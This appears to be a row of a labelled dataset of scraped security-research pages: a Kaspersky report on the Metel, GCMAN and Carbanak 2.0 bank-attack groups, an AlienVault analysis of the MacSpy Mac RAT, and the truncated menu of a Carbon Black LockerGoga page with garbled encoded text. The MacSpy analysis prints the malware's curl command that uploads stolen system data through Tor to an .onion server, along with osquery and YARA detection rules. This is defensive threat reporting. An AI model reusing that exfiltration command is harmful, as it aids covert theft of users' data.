by","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships APT reports APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks By GReAT, Computer Incidents Investigation Department on February 8, 2016. 1:20 pm Introduction In late 2014, Kaspersky Lab researchers made a worrying prediction: financially-motivated cyber-criminals would adopt sophisticated tactics and techniques from APT groups for use in bank robberies. Just a few months later, in February 2015, we announced the discovery of Carbanak, a cyber-criminal gang that used custom malware and APT techniques to steal millions of dollars while infecting hundreds of financial institutions in at least 30 countries. Since then, we have seen an increase in these covert, APT-style attacks that combine the use of reconnaissance, social engineering, specialized malware, lateral movement tools and long-term persistence to steal money from financial institutions (particularly ATMs and money transfer systems). In summer 2015, a #bank in #Russia lost millions of rubles in a one night #bankingAPT #TheSAS2016 Tweet Today at the Security Analyst Summit (SAS 2016), Kaspersky Lab is announcing the discovery of two new gangs engaged in APT-style bank robberies \xe2\x80\x93 Metel and GCMAN \xe2\x80\x93 and the reemergence of the Carbanak group with new targets in its sights. In 2015, Kaspersky Lab researchers conducted Incident Response for 29 organizations located in Russia and infected by these three groups. Due to the active nature of law enforcement investigations and non-disclosure agreements with victim organizations, Kaspersky Lab cannot provide extensive details of the attacks. Kaspersky Lab is releasing crucial Indicators of Compromise (IOCs) and other data to help organizations search for traces of these attack groups in their corporate networks (see below). The story of Metel \xe2\x80\x93 ATM balance rollbacks In summer 2015, a bank in Russia discovered it had lost millions of rubles in a single night through a series of strange financial transactions. The bank\xe2\x80\x99s clients were making withdrawals from ATMs belonging to other banks and were able to cash out huge sums of money while their balances remained untouched. The victim bank didn\xe2\x80\x99t realize this until it tried to recoup the money withdrawn from the other banks\xe2\x80\x99 ATMs. During our incident response, we discovered the solution to this puzzle: Metel, a modular malware program also known as Corkow. The malware, used exclusively by the Metel group, infected the bank\xe2\x80\x99s corporate network via e-mail and moved laterally to gain access to the computers within the bank\xe2\x80\x99s IT systems. Having gained access to the bank operator\xe2\x80\x99s money-processing system, the gang pulled off a clever trick by automating the rollback of ATM transactions. This meant that money could be stolen from ATM machines via debit cards while the balance on the cards remained the same, allowing for multiple transactions at different ATM machines. Encrypted configuration for Metel malware plugins Our investigations revealed that the attackers drove around several cities in Russia, stealing money from ATMs belonging to different banks. With the automated rollback in place the money was instantly returned to the account after the cash had been dispensed from the ATM. The group worked exclusively at night, emptying ATM cassettes at several locations. GCMAN group planted cron script into #bank server, stealing $200/min #bankingAPT #TheSAS2016 Tweet In all, we discovered Metel in more than 30 financial institutions, but Kaspersky Lab\xe2\x80\x99s incident responders were able to clean the networks before any major damage could be done. It is highly likely that this threat is far more widespread and we urge financial institutions around the world to scan their networks for signs of the Metel malware. The Metel criminal group is still active. At the moment, we don\xe2\x80\x99t have any information about any victims outside Russia. GCMAN \xe2\x80\x93 penetration testing tools gone bad A second group, which we call GCMAN because the malware is based on code compiled on the GCC compiler, emerged recently using similar techniques to the Metel Group to infect banking institutions and attempt to transfer money to e-currency services. The initial infection mechanism is handled by spear-phishing financial institution targets with e-mails carrying a malicious RAR archive to. Upon opening the RAR archive, an executable is started instead of a Microsoft Word document, resulting in infection. Once inside the network, the GCMAN group uses legitimate and penetration testing tools such as Putty, VNC, and Meterpreter for lateral movement. Our investigation revealed an attack where the group then planted a cron script into bank\xe2\x80\x99s server, sending financial transactions at the rate of $200 per minute. A time-based scheduler was invoking the script every minute to post new transactions directly to upstream payment processing system. This allowed the group to transfer money to multiple e-currency services without these transactions being reported to any system inside the bank. Decompiled code of GCMAN malware that is responsible for connecting to CnC In a stroke of luck, the financial institutions discovered the suspicious activity on their network in time to neutralize the threat and cancel the transactions. One interesting observation is that the real attack happened approximately 18 months before it was discovered. The group used an MS SQL injection in commercial software running on one of bank\xe2\x80\x99s public web services, and about a year and a half later, they came back to cash out. During that time they poked 70 internal hosts, compromised 56 accounts, making their way from 139 attack sources (TOR and compromised home routers). We discovered that about two months before the incident someone was trying different passwords for an admin account on a banking server. They were really persistent but doing it only three times a week and then only on Saturdays, in an effort to stay under the radar. Kaspersky Lab\xe2\x80\x99s research team responded to three financial institutions in Russia that were infected with the GCMAN malware. It is likely that this threat is far more widespread and we urge banks to sweep their networks for signs of this cyber-criminal group. Carbanak 2.0: new targets beyond banks After our exposure of the Carbanak group exactly a year ago, the group disappeared for about five months, leading us to believe that the operation was disbanded. However, in September last year, our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers. In December 2015, we confirmed that the group was still active. Kaspersky Lab discovered signs of Carbanak in two institutions \xe2\x80\x93 a telecommunications company and a financial institution. Executable files founded in SHIM during Carbanak incident response One interesting characteristic of Carbanak 2.0 is a different victim profile. The group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them, using the same APT-style tools and techniques. In one remarkable case, the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company. The information was modified to name a money mule as a shareholder of the company, displaying their IDs. It\xe2\x80\x99s unclear how they wanted to make use of this information in future. #Carbanak gang is now targeting budgeting & accounting departments #bankingAPT #TheSAS2016 Tweet Kaspersky Lab products successfully detect and block the malware used by the Carbanak 2.0, Metel and GCMAN threat actors with the following detection names: Trojan-Dropper.Win32.Metel Backdoor.Win32.Metel Trojan-Banker.Win32.Metel Backdoor.Win32.GCMan Backdoor.Win64.GCMan Trojan-Downloader.Win32.GCMan Trojan-Downloader.Win32.Carbanak Backdoor.Win32.Carbanak Kaspersky Lab urges all organizations to carefully scan their networks for the presence of Carbanak, Metel and GCMAN and, if detected, to disinfect their systems/computers/networks and report the intrusion to law enforcement. All this information has been made available to customers of our APT intelligence reporting service and they received the indicators of compromise and context information as soon as they became available. Indicators of Compromise (IOC) are available here: Metel GCMAN Carbanak 2.0 For more about the measures to be taken against these Bank Busters and similar offensives, read this article in the Kaspersky Business Blog. APT ATM attacks Cybercrime TheSAS2016 Trojan Banker Share post on: Facebook Twitter Related Posts Incident Response report 2018 IT threat evolution Q2 2019 IT threat evolution Q2 2019. Statistics There are 2 comments kevin_borys Posted on February 10, 2016. 10:04 am surprising and interesting technique of atm .. This is stealing thieves! Reply Gerald Steck Posted on April 11, 2016. 8:28 pm What can I do if I have knowledge of Carbanak attack in which I was hacked along with a 170,000.00 bank account by this group via iPhone, OnStar. Reply Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Save my name, email, and website in this browser for the next time I comment. \xc2 Notify me when new comments are added. \xc2 In the same category Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities GreyEnergy\xe2\x80\x99s overlap with Zebrocy A Zebrocy Go Downloader APT review of the year DarkPulsar FAQ \xc2\xa9 2019 AO Kaspersky Lab. All Rights Reserved. Registered trademarks and service marks are the property of their respective owners. Contact us | Privacy Policy | License Agreement * * I agree to provide my email address to \xe2\x80\x9cAO Kaspersky Lab\xe2\x80\x9d to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the \xe2\x80\x9cunsubscribe\xe2\x80\x9d link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. Twitter Facebook LinkedIn YouTube RSS Email","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Alienvault is now AT&T announcement ALIENVAULT IS NOW AT&T CYBERSECURITY AT&T Cybersecurity ALIEN LABS MacSpy: OS X Mac RAT as a Service JUNE 9, 2017 | PETER EWANE Twitter LinkedIn Facebook Reddit MacSpy is advertised as the ""most sophisticated Mac spyware ever\xe2\x80\x9d, with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn\xe2\x80\x99t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform. MacSpy home page The authors state that they created this malware due to Apple products gaining popularity in the recent years. They also state that during their tenure in the field that they have noticed a lack of ""sophisticated malware for Mac users"" and they believe that ""people were in need of such programs on MacOS"". So they created MacSpy. The MacSpy authors claim to have the following features in the free version of their RAT: MacSpy features If you are willing to pay an unknown amount of bitcoins for the advanced version, the malware authors advertise the following features: Advanced features for MacSpy MacSpy is not as polished as some of the malware-as-a-service providers out there, as there doesn\xe2\x80\x99t seem to be any customer facing automated service of signing up for their service. In order to receive a copy of MacSpy we had to email the author our preferred username and password, in order for them to make us an account. After confirming our details they created an account for us, and delivered a zipped file and the following instructions: MacSpy email Initial Analysis After unzipping the archive we observed it contained the following files: MacSpy files unzipped The archive contains four files: Mach-O 64-bit executable called 'updated' Mach-O 64-bit executable called 'webkitproxy' Mach-O 64-bit dynamically linked shared library called 'libevent-2.0.5.dylib' Config file After examining webkitproxy and libevent-2.0.5.dylib, we noted they are signed by Tor, and thus we concluded that they are related to the function of Tor Onion routing. The contents of the config file further convince us of our suspicions are correct: Config Contents SOCKSPort 47905 KeepAliveIsolateSOCKSAuth OnionTrafficOnly DataDirectory proxyData AvoidDiskWrites 1 ControlPort 47906 MaxCircuitDirtiness 7200 EnforceDistinctSubnets 0 HidServAuth .onion The ""updated"" file, on the other hand is not digitally signed, and it is currently completely undetected by various AV companies on VirusTotal. VirusTotal for MacSpy Anti-Analysis MacSpy has several countermeasures that hamper analysis efforts. To prevent debugging, it calls ptrace() with the PT_DENY_ATTACH option. This is a common anti-debugger check and will prevent debuggers from attaching to the process. MacSpy Countermeasures If you bypass the ptrace countermeasure, MacSpy has additional code that checks if it is running in a debugger. MacSpy looking for debugger The code above is very similar to the debugger checking code from this Stack Overflow post. In addition to the anti-debugging countermeasures, MacSpy contains checks against the execution environment that can make it difficult to run in a virtual machine. In the code below, you can see that MacSpy checks that the number of physical CPUs is greater than 1, the number of logical cores is greater than 3, and the number of logical cores is twice the number of physical cores. MacSpy also checks that there is at least 4 GB of memory on the host. Since malware sandboxes often run with minimal resources, these checks can prevent proper execution in virtual environments. MacSpy looking for Stack Overflow Similar to MacRansom, MacSpy also compares the machine model to ""Mac"" using the 'sysctl' command. MacSpy will kill all Terminal windows which can be annoying to analysts using command line tools to analyze the malware (OSX/Dok exhibits similar behavior by killing Terminal windows). Persistence In order to persist on the system the malware creates a launch entry in ~/Library/LaunchAgents/com.apple.webkit.plist. This ensures that the malware will run at start up to continue collecting information. Label com.apple.webkit Program /Users//Library/.DS_Stores/updated ProgramArguments daemon RunAtLoad KeepAlive Behavior Analysis: Upon execution, successfully passing the anti-analysis checks and setting persistence, the malware then copies itself and associated files from the original point of execution to ""~/Library/.DS_Stores/"" and deletes the original files in an attempt to stay hidden from the user. The malware then checks the functionality of its tor proxy by utilizing the curl command to contact the command and control server. After connecting to the CnC, the malware sends the data it had collected earlier, such as system information, by sending POST requests through the TOR proxy. This process repeats again for the various data the malware has collected. After exfiltration of the data, the malware deletes the temporary files containing the data it sent. The following curl command used to exfiltrate data: /usr/bin/curl --fail -m 25 --socks5-hostname 127.0.0.1:47905 -ks -X POST -H key: -H type:system -H Content-Type:multipart/form-data -F system=@'/Users//Library/.DS_Stores/data/tmp/SystemInfo' http://.onion/upload Contents of ~/Library/.DS_Stores/data/tmp/SystemInfo fullUsername username hostname \xe2\x80\x99s Mac mini os Version 10.11.6 (Build 15G1510) timezone Europe/Zurich languages en,de memory 4096 processorCount 2 systemUptime 19052.138692271 fireWall 0 ip mm false root /Users//Library/.DS_Stores identifier Macmini6,1 uuid /dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *500.1 GB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 499.2 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 User Web Portal In our initial email to the malware authors we sent a set of credentials that we wanted to use in their web portal. After logging into the MacSpy web portal you are greeted with a very bare bones directory listing containing a folder labeled the most recent date of the malware executing on a system in the YYYYMM format, followed by a folder in the DD format. Diving into that folder you're treated with a series of directories similar to that of the directory naming on the victim system. Inside these folders is the data that was collected from the victim the malware was executed on. MacSp web portal Detection NIDS The best way to detect MacSpy running on a Mac is to use a combination of Network IDS (NIDS) rules as it communicates. As it turns out, AlienVault provides this rule in its threat intelligence, which has already been updated with a rule called 'System Compromise, Malware RAT, MacSpy'. This feeds into the USM correlation engine to generate an alarm that will notify AlienVault customers that one of their systems is compromised. Osquery { ""platform"": ""darwin"", ""version"": ""1.4.5"", ""queries"": { ""MacSpy_Launch"":{ ""query"":""select * from launchd where name = 'com.apple.webkit.plist';"", ""interval"":""3600"", ""description\xe2\x80\x9d:""MacSpy Launch Agent"", ""value"":""Artifact used by this malware"" } } } Yara You can use the rule below in any system that supports Yara to detect this Mac-based malware. rule macSpy { meta: author = ""AlienVault Labs"" type = ""malware"" description = ""MacSpy"" strings: $header0 = {cf fa ed fe} $header1 = {ce fa ed fe} $header2 = {ca fe ba be} $c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 } condition: ($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1 } Conclusion People generally assume when they are using Macs they are relatively safe from malware. This has been a generally true statement, but this belief is becoming less and less true by the day, as evidenced by the increasing diversity in mac malware along with this name family. While this piece of Mac malware may not be the most stealthy program, it is feature rich and it goes to show that as OS X continues to grow in market share and we can expect malware authors to invest greater amounts of time in producing malware for this platform. If you want to find out more about this malware, here is a pulse we have in the AlienVault Open Threat Exchange (OTX): Appendix: 6c03e4a9bcb9afaedb7451a33c214ae4 c72de549a1e72cfff928e8d2591d7e97 cc07ab42070922b760b6bf9f894d0290 27056cabd185e939195d1aaa2aa1030f f38977a34b1f6d8592fa17fafdb76c59 Peter Ewane About the Author: Peter Ewane Read more posts from Peter Ewane \xe2\x80\xba TAGS: rat, macosx, macspy \xe2\x80\xb9 BACK TO ALL BLOGS Watch A Demo \xe2\x80\xba AT&T Business From the Blog Office of the CSO Office of the CSO Sep 17, 2019 There\xe2\x80\x99s no such thing as an entry-level job in cybersecurity Explore All Blog Posts \xe2\x80\xba Twitter Linkedin Facebook Youtube Instagram Slideshare Spiceworks Who We Are Meet AT&T Cybersecurity Alien Labs Management Team Customers Careers Contact Us Newsroom Newsroom Central Events Blogs Partners Partner Programs Partner Portal Products AT&T Managed Threat Detection and Response USM Anywhere USM for MSSPs USM Appliance Partner Managed Solutions Open Threat Exchange (OTX) OSSIM Solutions Cloud Security Management Threat Detection Intrusion Detection SIEM and Log Management Vulnerability Assessment See All Solutions Resources Resources Blogs Customer Success Support & Services Success Center Documentation Center Training Certification hello@alienvault.com US toll-free (888) 613-6023 \xc2\xa9 Copyright 2019 Privacy Policy Website Terms of Use GDPR Cookie Policy By using our website, you agree to our Privacy Policy & Website Terms of Use.","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"TAU Threat Intelligence Notification - LockerGoga Ransomware | Carbon Black Cb Connect 2018 | Power of You | #CBCONNECT2018 Check out the livestream here Products Products Consolidated Cloud Platform CB Predictive Security Cloud Cloud-Native Endpoint Protection Platform (EPP) Superior Protection Actionable Insights Simplified Operations Cloud Services CB Defense Next-Generation Antivirus + EDR CB ThreatHunter NEW! Advanced Threat Hunting and Incident Response CB LiveOps Real-Time Endpoint Query and Remediation CB ThreatSight Managed Alert Monitoring and Triage CB Defense for VMware Secure Virtualized Data Centers Specialized Environments CB Response Threat Hunting + IR for SOC Teams CB Protection Application Control and Infrastructure Protection Solutions Solutions By Use Case Next-Generation Antivirus Enterprise AV Replacement Ransomware Protection Securing Key Virtualized Infrastructure Malware & Non-Malware Protection Risk & Compliance \xc2 Threat Hunting Incident Response Locking Down Critical Systems POS, Fixed Function & Industrial Control Systems By Industry Finance Federal Government Healthcare Manufacturing Oil, Gas & Utilities Retail & Hospitality Small Business Partners Partners About Partners Carbon Black Partner Program Find a Partner Become a Partner For Existing Partners Partner Portal Login Integration Integration Network Open APIs Resources Resources Learn Resource Library Webinars Customer Success Stories Threat Research Definitions Open Source Tools Free Video Series Onboarding Training Services Support Product Security Connect Community Blog Company Company Why Carbon Black? Overview Awards & Recognition Certifications & Public Testing Product Reviews Comparisons Threat Analysis Unit Company About Us Leadership Investor Relations Security Expertise Careers Events All Events CB Connect 2019 London \xc2 Press Press Releases In the News VIEW ENGLISH PAGE \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Contact \xe3\x81\x8a\xe5\x95\x8f\xe3\x81\x84\xe5\x90\x88\xe3\x82\x8f\xe3\x81\x9b Support \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 Blog \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 Login Partner Portal Login User Exchange Login \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 \xe8\xa3\xbd\xe5\x93\x81 \xe8\xa3\xbd\xe5\x93\x81 \xe7\xb5\xb1\xe5\x90\x88\xe3\x82\xaf\xe3\x83\xa9\xe3\x82\xa6\xe3\x83\x89 \xe3\x83\x97\xe3\x83\xa9\xe3\x83\x83\xe3\x83\x88\xe3\x83\x95\xe3\x82\xa9\xe3\x83\xbc\xe3\x83 CB Predictive Security Cloud \xe8\x84 \xe5\xa8\x81\xe3\x81\xae\xe5\x88\x86\xe6\x9e\x90 \xe5\x84\xaa\xe3\x82\x8c\xe3\x81\x9f\xe4\xbf\x9d\xe8\xad\xb7 \xe5\xae\x9f\xe7\x94\xa8\xe7\x9a\x84\xe3\x81\xaa\xe5\x8f\xaf\xe8\xa6\x96\xe6\x80\xa7 \xe9\x81\x8b\xe7\x94\xa8\xe3\x81\xae\xe7\xb0\xa1\xe7\xb4 \xe5\x8c\x96 \xe3\x82\xaf\xe3\x83\xa9\xe3\x82\xa6\xe3\x83\x89 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 CB Defense \xe6\xac\xa1\xe4\xb8\x96\xe4\xbb\xa3\xe5\x9e\x8b\xe3\x82\xa2\xe3\x83\xb3\xe3\x83\x81\xe3\x82\xa6\xe3\x82\xa4\xe3\x83\xab\xe3\x82\xb9 + EDR CB ThreatHunter \xe9\xab\x98\xe5\xba\xa6\xe3\x81\xaa\xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0\xe3\x81\xa8\xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c CB LiveOps\xe2\x84\xa2 \xe3\x83\xaa\xe3\x82\xa2\xe3\x83\xab\xe3\x82\xbf\xe3\x82\xa4\xe3\x83 \xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xaf\xe3\x82\xa8\xe3\x83\xaa\xe3\x81\xa8\xe4\xbf\xae\xe5\xbe\xa9 CB ThreatSight \xe3\x83\x9e\xe3\x83\x8d\xe3\x83\xbc\xe3\x82\xb8\xe3\x83\x89\xe5\x9e\x8b\xe3\x81\xae\xe3\x82\xa2\xe3\x83\xa9\xe3\x83\xbc\xe3\x83\x88\xe7\x9b\xa3\xe8\xa6\x96\xe3\x81\xa8\xe3\x83\x88\xe3\x83\xaa\xe3\x82\xa2\xe3\x83\xbc\xe3\x82\xb8 CB Defense for VMware VMware \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe7\x89\xb9\xe6\xae\x8a\xe7\x92\xb0\xe5\xa2\x83 CB Response \xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c/\xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 CB Protection \xe3\x82\xa2\xe3\x83\x97\xe3\x83\xaa\xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3\xe5\x88\xb6\xe5\xbe\xa1\xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x83\xa6\xe3\x83\xbc\xe3\x82\xb9 \xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb9 \xe6\xac\xa1\xe4\xb8\x96\xe4\xbb\xa3\xe5\x9e\x8b\xe3\x82\xa2\xe3\x83\xb3\xe3\x83\x81\xe3\x82\xa6\xe3\x82\xa4\xe3\x83\xab\xe3\x82\xb9 \xe3\x82\xa8\xe3\x83\xb3\xe3\x82\xbf\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xa9\xe3\x82\xa4\xe3\x82\xba AV \xe3\x81\xae\xe7\xbd\xae\xe3\x81\x8d\xe6\x8f\x9b\xe3\x81\x88 \xe3\x83\xa9\xe3\x83\xb3\xe3\x82\xb5\xe3\x83 \xe3\x82\xa6\xe3\x82\xa7\xe3\x82\xa2\xe9\x98\xb2\xe5\xbe\xa1 | \xe3\x83\xa9\xe3\x83\xb3\xe3\x82\xb5\xe3\x83 \xe3\x82\xa6\xe3\x82\xa7\xe3\x82\xa2\xe9\x98\xbb\xe6\xad\xa2 \xe4\xbb\xae\xe6\x83\xb3\xe3\x83\x87\xe3\x83\xbc\xe3\x82\xbf\xe3\x82\xbb\xe3\x83\xb3\xe3\x82\xbf\xe3\x83\xbc\xe3\x81\xae\xe4\xbf\x9d\xe8\xad\xb7 \xe3\x83\xaa\xe3\x82\xb9\xe3\x82\xaf\xe3\x81\xa8\xe3\x82\xb3\xe3\x83\xb3\xe3\x83\x97\xe3\x83\xa9\xe3\x82\xa4\xe3\x82\xa2\xe3\x83\xb3\xe3\x82\xb9 \xc2 \xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 \xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c 